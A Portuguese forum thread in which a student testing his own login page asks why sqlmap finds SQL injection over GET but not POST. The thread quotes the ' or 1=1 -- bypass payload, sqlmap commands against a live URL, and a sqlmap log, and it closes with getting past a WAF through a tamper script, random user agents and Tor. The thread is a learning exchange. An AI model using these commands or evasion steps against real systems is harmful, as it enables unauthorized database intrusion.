Solucionado (ver solução)
Solucionado
(ver solução)
4
respostas

SQLMAP e ZAP TOOL na WEB

Olá Pessoal, após estudar bastante e concluir o curso de segurança na web, resolvi testar na prática a vulnerabilidade de meu sistema web aqui na agência. A ideia posterior será passar um pente fino no sistema de nossos clientes ( com total aprovação e consciência deles ) a fim de encontrar possíveis falhas e reparar, tornando mais seguro.

Para testar, criei apenas uma página de login e senha dentro de nossa página. Manualmente, se acessar a url http://www.universopositivo.com.br/alura/loja/ e colocar no campo e-mail ' or 1=1 -- ele irá se logar tranquilamente (método POST). Porém, ao utilizar o sqlmap e o owasp zap tool, não aparece essa vulnerabilidade no scan. No sqlmap, se alterar o formulário de post para GET ele funciona, mas por POST não injeta nenhuma query no sistema.

Action do form: "http://www.universopositivo.com.br/alura/loja/login.php"

sqlmap -> # python sqlmap.py -u "http://www.universopositivo.com.br/alura/loja/login.php" --dbs (funciona quando está no GET).

sqlmap -> # python sqlmap.py -u "http://www.universopositivo.com.br/alura/loja/login.php" --data="email=+or+1=1+--+" --dbs (não funciona quando está no POST).

Qual seria o motivo? Obrigado.

4 respostas

Olá Diego, tudo bem?

Isso acontece porque o Sqlmap utiliza por padrão as variáveis da url para fazer a injeção dos códigos SQL, esses parâmetros são expostos na URL durante a requisição GET.

Na requisição POST esses parâmetros não estão presentes na url para que o sqlmap possa assim inserir os parâmetros. Para tentar realizar injeções em requisições POST, podemos fazer a seguinte tentativa:

1-) Configure o Burp Suite para realizar a interceptação da url.

2-) Faça o login com um usuário e senha

3-) Veja no Burp Suite se ele mostra quais são as variáveis respectivas ao usuário e senha.

Ex: usuario=teste&password=teste

Copie essas variáveis e no terminal do Kali Linux tente o seguinte comando:

sqlmap -u "[url]" --data="[requisição POST capturada pelo Burp]" -p "[uma das variáveis]"

Se não der certo tente alterar o -p "[outra variável]"

Consegui ajudar?

*Importante: Só faça os testes com autorização ;)

Abs

Olá Rafael, eu fiz os procedimentos que você falou da seguinte forma:

python sqlmap.py -u "http://www.universopositivo.com.br/alura/loja/index.php/" --data="email=oi&senha=oi" -p "email" --dbs

troquei para o parâmetro senha e também não deu. Tentei colocar a url direta da ação do form:

python sqlmap.py -u "http://www.universopositivo.com.br/alura/loja/login.php/" --data="email=oi&senha=oi" -p "email" --dbs

ambas as respostas são essas:

[17:14:07] [INFO] testing connection to the target URL [17:14:07] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests [17:14:07] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [17:14:07] [INFO] testing if the target URL is stable [17:14:08] [INFO] target URL is stable [17:14:08] [WARNING] heuristic (basic) test shows that POST parameter 'email' might not be injectable [17:14:08] [INFO] testing for SQL injection on POST parameter 'email' [17:14:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [17:14:09] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [17:14:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [17:14:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [17:14:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [17:14:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [17:14:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [17:14:10] [INFO] testing 'MySQL inline queries' [17:14:10] [INFO] testing 'PostgreSQL inline queries' [17:14:10] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [17:14:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [17:14:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [17:14:11] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [17:14:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [17:14:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [17:14:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)' [17:14:12] [INFO] testing 'Oracle AND time-based blind' [17:14:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [17:14:12] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms' [17:14:15] [WARNING] POST parameter 'email' does not seem to be injectable [17:14:15] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment') [17:14:15] [WARNING] HTTP error codes detected during run: 403 (Forbidden) - 158 times

[*] shutting down at 17:14:15

Olá Diego,

Pelo que pude ver no log, o sqlmap não está conseguindo injetar códigos nessas variáveis, [17:14:15] [CRITICAL] all tested parameters appear to be not injectable

No início ele fala sobre equipamentos de segurança como IDS ou IPS. A rede a qual o servidor está inserido possui tais equipamentos? Se tiver, esses equipamentos podem estar detectando uma anomalia no tráfego do Sqmap e estar impedindo que o ataque seja realizado. [17:14:07] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS

Podemos fazer um novo teste forçando alguns parâmetros, por exemplo:

python sqlmap.py -u "http://www.universopositivo.com.br/alura/loja/login.php/" --data="email=oi*&senha=oi*" --level=5 --dbs

Com os asteriscos, estamos forçando o sqlmap os parâmetros que queremos injetar, com o --level=5 estamos aumentando a quantidade de testes. Dessa forma, talvez tenha sucesso.

Abs

solução!

Consegui resolver o problema! Não foi da forma como você disse. Consegui resolver o 403 forbidden com waf"modsecurity.py", junto com random agent e tor.

Agora vou estudar e testar as modificações no código :D Abraço.